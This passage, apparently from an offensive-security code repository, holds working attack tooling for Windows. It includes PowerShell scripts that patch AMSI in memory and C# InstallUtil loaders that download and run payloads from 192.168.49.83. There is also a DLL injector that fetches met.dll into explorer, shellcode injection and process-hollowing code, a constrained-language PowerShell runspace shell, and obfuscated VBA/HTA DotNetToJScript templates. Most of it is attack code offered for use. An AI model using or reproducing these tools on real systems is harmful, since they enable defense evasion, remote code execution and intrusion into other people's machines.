$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) 19 | 20 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 21 | 22 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 23 | 24 | return $type.CreateType() 25 | } 26 | 27 | [IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession 28 | $oldProtectionBuffer = 0 29 | $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool]))) 30 | $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) 31 | 32 | $buf = [Byte[]] (0x48, 0x31, 0xC0) 33 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3) 34 | # restore 35 | $vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer) -------------------------------------------------------------------------------- /misc/ScRunner.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" AutoEventWireup="true" %> 2 | <%@ Import Namespace="System.IO" %> 3 | 40 | -------------------------------------------------------------------------------- /csharp/SharpDllPoc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Runtime.InteropServices; 4 | using System.Windows.Forms; 5 | using RGiesecke.DllExport; 6 | 7 | // Requirements: 8 | // 1. Install Build Tools 2015 - https://www.microsoft.com/en-us/download/details.aspx?id=48159 9 | // 2. Install .NET Framework v3.5 https://www.microsoft.com/en-us/download/details.aspx?id=21 10 | // 3. Add the UnmanagedExports Nuget 11 | 12 | // execute: rundll32.exe GoStager.dll,Start 13 | 14 | namespace GoStager 15 | { 16 | public class GoStager 17 | { 18 | public GoStager() 19 | { 20 | // hard-coded root canary domain 21 | string strTargetDomain = ""; 22 | var random = new Random(); 23 | 24 | string strDomainName = random.Next(1000).ToString() + "." + strTargetDomain; 25 | string strDomainAddress = DnsResolve(strDomainName); 26 | 27 | //MessageBox.Show("Do you want to continue?", "Question", MessageBoxButtons.YesNo); 28 | } 29 | [STAThread] 30 | public static void Main(string[] args) 31 | { 32 | new GoStager(); 33 | } 34 | public static void Execute() 35 | { 36 | new GoStager(); 37 | } 38 | private static string DnsResolve(string domainName) 39 | { 40 | string strAddr; 41 | try 42 | { 43 | strAddr = Dns.GetHostEntry(domainName).AddressList[0].ToString(); 44 | } 45 | catch 46 | { 47 | strAddr = "Not Found"; 48 | } 49 | 50 | return strAddr; 51 | } 52 | } 53 | public class Exports 54 | { 55 | [DllExport("Start", CallingConvention = CallingConvention.Cdecl)] 56 | public static void GoEntry(IntPtr hwnd, 57 | IntPtr hinst, 58 | string lpszCmdLine, 59 | int nCmdShow) 60 | { 61 | new GoStager(); 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /csharp/UninstallerRunspaceBypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Configuration.Install; 3 | using System.IO; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | using System.Net; 7 | using System.Text; 8 | 9 | // Need to: 10 | // 1. References > Add > Assemblies > System.Configuration.Install 11 | // 2. References > Browse > c:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 12 | 13 | namespace UninstallerBypass 14 | { 15 | class Program 16 | { 17 | static void Main(string[] args) 18 | { 19 | Console.WriteLine("2 + 3 = 2"); 20 | } 21 | } 22 | 23 | [System.ComponentModel.RunInstaller(true)] 24 | public class Sample : System.Configuration.Install.Installer 25 | { 26 | public override void Uninstall(System.Collections.IDictionary savedState) 27 | { 28 | Runspace rs = RunspaceFactory.CreateRunspace(); 29 | rs.Open(); 30 | 31 | // instantiate a PowerShell object 32 | PowerShell ps = PowerShell.Create(); 33 | ps.Runspace = rs; 34 | 35 | // base64 -w 0 payload.ps1 | tee robots.txt 36 | String cmd = GetPayload("http://192.168.49.83/robots.txt"); 37 | ps.AddScript(cmd); 38 | ps.Invoke(); 39 | rs.Close(); 40 | } 41 | public static string GetPayload(string url) 42 | { 43 | WebClient client = new WebClient(); 44 | // what be the user agent? 45 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 46 | client.Proxy = WebRequest.GetSystemWebProxy(); 47 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 48 | string compressedEncodedShellcode = client.DownloadString(url); 49 | byte[] data = Convert.FromBase64String(compressedEncodedShellcode); 50 | return Encoding.UTF8.GetString(data); 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /csharp/UninstallerReflectiveDllLoader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Configuration.Install; 3 | using System.IO; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | using System.Net; 7 | using System.Reflection; 8 | 9 | // Need to: 10 | // 1. References > Add > Assemblies > System.Configuration.Install 11 | // 2. References > Browse > c:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 12 | 13 | namespace UninstallerBypass 14 | { 15 | class Program 16 | { 17 | static void Main(string[] args) 18 | { 19 | Console.WriteLine("Likes initialization..."); 20 | } 21 | } 22 | 23 | [System.ComponentModel.RunInstaller(true)] 24 | public class Sample : System.Configuration.Install.Installer 25 | { 26 | public override void Uninstall(System.Collections.IDictionary savedState) 27 | { 28 | byte[] dll = GetShellcode("http://192.168.49.83:8080/main"); 29 | 30 | Assembly SampleAssembly = Assembly.Load(dll); 31 | 32 | Type t = SampleAssembly.GetType("Program.Payload"); 33 | 34 | var staticMethod = t.GetMethod("runner"); 35 | 36 | staticMethod.Invoke(null, null); 37 | } 38 | public static byte[] GetShellcode(string url) 39 | { 40 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 41 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 42 | WebClient client = new WebClient(); 43 | // what be the user agent? 44 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 45 | client.Proxy = WebRequest.GetSystemWebProxy(); 46 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 47 | string compressedEncodedShellcode = client.DownloadString(url); 48 | return Convert.FromBase64String(compressedEncodedShellcode); 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /csharp/UninstallerReflectivePELoader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Configuration.Install; 3 | using System.IO; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | using System.Net; 7 | using System.Reflection; 8 | 9 | // Need to: 10 | // 1. References > Add > Assemblies > System.Configuration.Install 11 | // 2. References > Browse > c:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 12 | 13 | namespace UninstallerBypass 14 | { 15 | class Program 16 | { 17 | static void Main(string[] args) 18 | { 19 | Console.WriteLine("Likes initialization..."); 20 | } 21 | } 22 | 23 | [System.ComponentModel.RunInstaller(true)] 24 | public class Sample : System.Configuration.Install.Installer 25 | { 26 | public override void Uninstall(System.Collections.IDictionary savedState) 27 | { 28 | byte[] bytes = GetShellcode("http://192.168.49.83:8080/main"); 29 | 30 | var assembly = Assembly.Load(bytes); 31 | MethodInfo method = assembly.EntryPoint; 32 | if (method != null) 33 | { 34 | method.Invoke(null, new object[] { new string[] { } }); 35 | } 36 | } 37 | public static byte[] GetShellcode(string url) 38 | { 39 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 40 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 41 | WebClient client = new WebClient(); 42 | // what be the user agent? 43 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 44 | client.Proxy = WebRequest.GetSystemWebProxy(); 45 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 46 | string compressedEncodedShellcode = client.DownloadString(url); 47 | return Convert.FromBase64String(compressedEncodedShellcode); 48 | } 49 | } 50 | } -------------------------------------------------------------------------------- /psh/AmsiBypass-AmsiScanBuffer.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | 3 | Param ($moduleName, $functionName) 4 | 5 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 6 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | $tmp=@() 8 | $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 9 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName)) 10 | } 11 | 12 | function getDelegateType { 13 | Param ( 14 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 15 | [Parameter(Position = 1)] [Type] $delType = [Void] 16 | ) 17 | 18 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) 19 | 20 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 21 | 22 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 23 | 24 | return $type.CreateType() 25 | } 26 | $z1 = 'AmsiS' 27 | $z2 = 'canB' 28 | $z3 = 'uffer' 29 | $z = $z1 + $z2 + $z3 30 | [IntPtr]$funcAddr = LookupFunc amsi.dll $z 31 | $oldProtectionBuffer = 0 32 | $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool]))) 33 | # in rasta's , arg #2 is "[uint32]5" 34 | $vp.Invoke($funcAddr, [uint32]5, 0x40, [ref]$oldProtectionBuffer) 35 | 36 | # original: $buf = [Byte[]] (0x48, 0x31, 0xC0) 37 | $buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) 38 | 39 | # in rasta's, last arg is 6 40 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 6) 41 | # restore 42 | #$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer) -------------------------------------------------------------------------------- /c/windows/xor_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // For the SIZE_T and PBYTE types 5 | 6 | // Function declaration 7 | VOID XorByInputKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize); 8 | 9 | // Function to read file into a buffer 10 | PBYTE ReadFileToBuffer(const char *filePath, SIZE_T *fileSize) { 11 | FILE *file = fopen(filePath, "rb"); 12 | if (!file) { 13 | perror("Failed to open file"); 14 | return NULL; 15 | } 16 | 17 | fseek(file, 0, SEEK_END); 18 | *fileSize = ftell(file); 19 | fseek(file, 0, SEEK_SET); 20 | 21 | PBYTE buffer = (PBYTE)malloc(*fileSize); 22 | if (!buffer) { 23 | perror("Failed to allocate memory"); 24 | fclose(file); 25 | return NULL; 26 | } 27 | 28 | fread(buffer, 1, *fileSize, file); 29 | fclose(file); 30 | 31 | return buffer; 32 | } 33 | 34 | int main(int argc, char *argv[]) { 35 | if (argc != 3) { 36 | fprintf(stderr, "Usage: %s \n", argv[0]); 37 | return EXIT_FAILURE; 38 | } 39 | 40 | SIZE_T fileSize; 41 | PBYTE payload = ReadFileToBuffer(argv[1], &fileSize); 42 | if (!payload) { 43 | return EXIT_FAILURE; 44 | } 45 | 46 | // Get the key from the command line argument 47 | PBYTE key = (PBYTE)argv[2]; 48 | SIZE_T keySize = strlen(argv[2]); 49 | 50 | // Decode the payload (since XOR is symmetric, the same function is used) 51 | XorByInputKey(payload, fileSize, key, keySize); 52 | 53 | // Print decoded payload 54 | printf("Decoded Data:\n"); 55 | for (SIZE_T i = 0; i < fileSize; i++) { 56 | printf("%c", payload[i]); 57 | } 58 | printf("\n"); 59 | 60 | free(payload); 61 | return EXIT_SUCCESS; 62 | } 63 | 64 | // Function definition 65 | VOID XorByInputKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) { 66 | for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) { 67 | if (j >= sKeySize) { 68 | j = 0; 69 | } 70 | pShellcode[i] = pShellcode[i] ^ bKey[j]; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /infra/Dockerfile.ollvm: -------------------------------------------------------------------------------- 1 | LABEL org.opencontainers.image.title="ollvm13-heroims" 2 | LABEL org.opencontainers.image.authors="thelikes@github.com" 3 | LABEL org.opencontainers.image.description="ollvm13-heroims based build environment with zlib support" 4 | # ref https://hub.docker.com/r/snovvcrash/ollvm13 5 | 6 | FROM alpine:3.18 7 | 8 | # Install required packages 9 | RUN apk update && \ 10 | apk add --no-cache build-base \ 11 | cmake \ 12 | git \ 13 | python3 \ 14 | mingw-w64-gcc \ 15 | mingw-w64-crt \ 16 | mingw-w64-headers \ 17 | nasm \ 18 | zlib \ 19 | zlib-dev \ 20 | wget && \ 21 | rm -rf /var/cache/apk/* 22 | 23 | # Clone and build the obfuscator project 24 | RUN git clone --depth=1 -b llvm-13.x --single-branch https://github.com/heroims/obfuscator /opt/ollvm && \ 25 | cd /opt/ollvm && \ 26 | wget https://github.com/llvm/llvm-project/commit/ff1681ddb303223973653f7f5f3f3435b48a1983.patch && \ 27 | patch llvm/include/llvm/Support/Signals.h < ff1681ddb303223973653f7f5f3f3435b48a1983.patch && \ 28 | mkdir build && \ 29 | cd build && \ 30 | cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_ENABLE_NEW_PASS_MANAGER=OFF ../llvm && \ 31 | sed -i 's/LLVM_TOOL_CLANG_BUILD:BOOL=OFF/LLVM_TOOL_CLANG_BUILD:BOOL=ON/g' CMakeCache.txt && \ 32 | sed -i "s|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=`realpath ../clang`|g" CMakeCache.txt && \ 33 | make -j$(nproc) && \ 34 | make install && \ 35 | cd / && \ 36 | rm -rf /opt/ollvm 37 | 38 | # Clone and build the wclang project 39 | RUN git clone --depth=1 https://github.com/tpoechtrager/wclang /opt/wclang && \ 40 | cd /opt/wclang && \ 41 | cmake . && \ 42 | make -j$(nproc) && \ 43 | make install && \ 44 | cd / && \ 45 | rm -rf /opt/wclang 46 | 47 | # Download and build MinGW zlib from source 48 | RUN wget https://zlib.net/zlib-1.3.1.tar.gz -O /tmp/zlib-1.3.1.tar.gz && \ 49 | tar -xzf /tmp/zlib-1.3.1.tar.gz -C /tmp && \ 50 | cd /tmp/zlib-1.3.1 && \ 51 | CC=x86_64-w64-mingw32-gcc ./configure --prefix=/usr/x86_64-w64-mingw32 --static && \ 52 | make && \ 53 | make install 54 | 55 | WORKDIR /tmp 56 | 57 | CMD ["/bin/sh"] 58 | -------------------------------------------------------------------------------- /psh/ReflectiveScRunnerPInvoke.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | Param ($moduleName, $functionName) 3 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 4 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 5 | $tmp=@() 6 | $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 7 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 8 | } 9 | 10 | function getDelegateType { 11 | Param ( 12 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 13 | [Parameter(Position = 1)] [Type] $delType = [Void] 14 | ) 15 | 16 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 17 | 18 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 19 | 20 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 21 | 22 | return $type.CreateType() 23 | } 24 | 25 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 26 | 27 | [Byte[]] $buf = 0xfc,[...],0xd5 28 | 29 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 30 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) 31 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF) -------------------------------------------------------------------------------- /csharp/DllInject.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Net; 6 | using System.Runtime.InteropServices; 7 | using System.Diagnostics; 8 | 9 | namespace DllInject 10 | { 11 | class Program 12 | { 13 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 14 | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); 15 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 16 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 17 | [DllImport("kernel32.dll")] 18 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 19 | [DllImport("kernel32.dll")] 20 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 21 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 22 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 23 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 24 | public static extern IntPtr GetModuleHandle(string lpModuleName); 25 | static void Main(string[] args) 26 | { 27 | String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 28 | String dllName = dir + "\\met.dll"; 29 | 30 | WebClient wc = new WebClient(); 31 | wc.DownloadFile("http://192.168.49.83/met.dll", dllName); 32 | 33 | Process[] expProc = Process.GetProcessesByName("explorer"); 34 | int pid = expProc[0].Id; 35 | 36 | IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); 37 | 38 | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); 39 | IntPtr outSize; 40 | Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); 41 | 42 | IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 43 | 44 | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /csharp/RunspaceBypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using Microsoft.Build.Framework; 4 | using Microsoft.Build.Utilities; 5 | using System.IO; 6 | using System.Management.Automation; 7 | using System.Management.Automation.Runspaces; 8 | using System.Collections.ObjectModel; 9 | using System.Linq; 10 | using System.Reflection; 11 | 12 | public class ClassExample : Task, ITask 13 | { 14 | public override bool Execute() 15 | { 16 | string cmd = "$ExecutionContext.SessionState.LanguageMode"; 17 | 18 | Runspace rs = RunspaceFactory.CreateRunspace(); 19 | rs.Open(); 20 | 21 | // instantiate a PowerShell object 22 | PowerShell ps = PowerShell.Create(); 23 | ps.Runspace = rs; 24 | 25 | while (true) 26 | { 27 | Console.Write("PS> "); 28 | cmd = Console.ReadLine(); 29 | if (String.IsNullOrWhiteSpace(cmd) || cmd == "exit" || cmd == "quit") break; 30 | ps.AddScript(cmd); 31 | ps.AddCommand("Out-String"); 32 | PSDataCollection results = new PSDataCollection(); 33 | ps.Streams.Error.DataAdded += (sender, e) => 34 | { 35 | Console.WriteLine("Error"); 36 | foreach (ErrorRecord er in ps.Streams.Error.ReadAll()) 37 | { 38 | results.Add(er); 39 | } 40 | }; 41 | ps.Streams.Verbose.DataAdded += (sender, e) => 42 | { 43 | foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll()) 44 | { 45 | results.Add(vr); 46 | } 47 | }; 48 | ps.Streams.Debug.DataAdded += (sender, e) => 49 | { 50 | foreach (DebugRecord dr in ps.Streams.Debug.ReadAll()) 51 | { 52 | results.Add(dr); 53 | } 54 | }; 55 | ps.Streams.Warning.DataAdded += (sender, e) => 56 | { 57 | foreach (WarningRecord wr in ps.Streams.Warning) 58 | { 59 | results.Add(wr); 60 | } 61 | }; 62 | ps.Invoke(null, results); 63 | string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); 64 | ps.Commands.Clear(); 65 | Console.WriteLine(output); 66 | } 67 | rs.Close(); 68 | return true; 69 | } 70 | } -------------------------------------------------------------------------------- /wsh/g2js-vbascriptb64_template.vba: -------------------------------------------------------------------------------- 1 | Function deflate(ByVal eob) 2 | Dim nyz, war 3 | Set nyz = CreateObject("Msxm" & "l2.D" & "OMDocum" & "ent.3.0") 4 | Set war = nyz.CreateElement("ba" & "se64") 5 | war.dataType = "bin.bas" & "e64" 6 | war.Text = eob 7 | deflate = war.nodeTypedValue 8 | Set war = Nothing 9 | Set nyz = Nothing 10 | End Function 11 | 12 | Function Exec() 13 | 14 | Dim stage_1, stage_2 15 | 16 | %_STAGE1_% 17 | 18 | %_STAGE2_% 19 | 20 | Dim cap As Object, addi As Object 21 | 22 | manifest = "" 23 | manifest = manifest & "" 24 | manifest = manifest & "" 25 | manifest = manifest & "" 29 | 30 | 31 | Set menf = CreateObject("Micro" & "soft.Win" & "dows.Act" & "Ctx") 32 | menf.ManifestText = manifest 33 | 34 | Set cap = menf.CreateObject("Syst" & "em.IO.M" & "emo" & "ryStream") 35 | Dim hvie 36 | hvie = "Syste" 37 | hvie = hvie & "m.Runtim" 38 | hvie = hvie & "e.Seri" 39 | hvie = hvie & "alization.Fo" 40 | hvie = hvie & "rmatters.B" 41 | hvie = hvie & "inary.Bi" 42 | hvie = hvie & "naryFormatter" 43 | Set addi = menf.CreateObject(hvie) 44 | 45 | Dim thol 46 | thol = deflate(stage_1) 47 | 48 | For Each i In thol 49 | cap.WriteByte i 50 | Next i 51 | 52 | On Error Resume Next 53 | 54 | cap.Position = 0 55 | Dim po1 As Object 56 | Set po1 = addi.Deserialize_2(cap) 57 | 58 | If Err.Number <> 0 Then 59 | Dim dar As Object 60 | 61 | Set dar = menf.CreateObject("System.IO.MemoryStream") 62 | 63 | Dim face 64 | face = deflate(stage_2) 65 | 66 | For Each j In face 67 | dar.WriteByte j 68 | Next j 69 | 70 | dar.Position = 0 71 | Dim noth As Object 72 | Set noth = addi.Deserialize_2(dar) 73 | End If 74 | 75 | End Function -------------------------------------------------------------------------------- /csharp/ScInject.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using System.Diagnostics; 7 | 8 | namespace Inject 9 | { 10 | class Program 11 | { 12 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 13 | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); 14 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 15 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 16 | [DllImport("kernel32.dll")] 17 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 18 | [DllImport("kernel32.dll")] 19 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 20 | [DllImport("kernel32.dll", SetLastError = true)] 21 | static extern IntPtr FlsAlloc(IntPtr callback); 22 | static void Main(string[] args) 23 | { 24 | IntPtr mem = FlsAlloc(IntPtr.Zero); 25 | if (mem == null) 26 | { 27 | return; 28 | } 29 | 30 | string[] desiredProcs = { "onedrive", "notepad" }; 31 | string tProc = null; 32 | int tProcId = 0; 33 | foreach (string dProc in desiredProcs) 34 | { 35 | Process[] arrProcs = Process.GetProcessesByName(dProc); 36 | //Console.WriteLine("[*] arrProcs len: " + arrProcs.Length); 37 | if (arrProcs.Length > 0) 38 | { 39 | tProc = arrProcs[0].MainModule.FileName; 40 | tProcId = arrProcs[0].Id; 41 | break; 42 | } else 43 | { 44 | Console.WriteLine("[!] No target process identified"); 45 | return; 46 | } 47 | } 48 | 49 | byte[] buf = new byte[634] { 0xfc,[...]0xd5 }; 50 | int size = buf.Length; 51 | 52 | IntPtr hProcess = OpenProcess(0x001F0FFF, false, tProcId); 53 | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)size, 0x3000, 0x40); 54 | 55 | IntPtr outSize; 56 | WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); 57 | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /wsh/g2js-htascript_template.hta: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | microsoft 7 | 8 | 9 | 10 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /cpp/DllScHollow.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #include 5 | 6 | /* original: https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/ 7 | * @thelikes 8 | */ 9 | void inject() { 10 | unsigned char shellcode[] = "..."; 11 | 12 | // Create a 64-bit process: 13 | STARTUPINFO si; 14 | PROCESS_INFORMATION pi; 15 | LPVOID allocation_start; 16 | SIZE_T allocation_size = sizeof(shellcode); 17 | LPCWSTR cmd; 18 | HANDLE hProcess, hThread; 19 | 20 | ZeroMemory(&si, sizeof(si)); 21 | ZeroMemory(&pi, sizeof(pi)); 22 | si.cb = sizeof(si); 23 | cmd = TEXT("C:\\Windows\\syswow64\\nslookup.exe"); 24 | 25 | if (!CreateProcess( 26 | cmd, // Executable 27 | NULL, // Command line 28 | NULL, // Process handle not inheritable 29 | NULL, // Thread handle not inheritable 30 | FALSE, // Set handle inheritance to FALSE 31 | CREATE_NO_WINDOW, // Do Not Open a Window 32 | NULL, // Use parent's environment block 33 | NULL, // Use parent's starting directory 34 | &si, // Pointer to STARTUPINFO structure 35 | &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) 36 | )) { 37 | return; 38 | } 39 | WaitForSingleObject(pi.hProcess, 3000); // Allow nslookup 1 second to start/initialize. 40 | 41 | // Inject into the 64-bit process: 42 | // HIGH-LEVEL WINDOWS API: 43 | allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 44 | WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL); 45 | CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0); 46 | 47 | return; 48 | } 49 | 50 | void go(HMODULE hMod) { 51 | inject(); 52 | } 53 | 54 | // DllMain 55 | // ------------------------------------------------------------------------ 56 | 57 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { 58 | HANDLE threadHandle; 59 | DWORD dwThread; 60 | 61 | switch (fdwReason) { 62 | case DLL_PROCESS_ATTACH: 63 | // Init Code here 64 | threadHandle = CreateThread(NULL, 0, 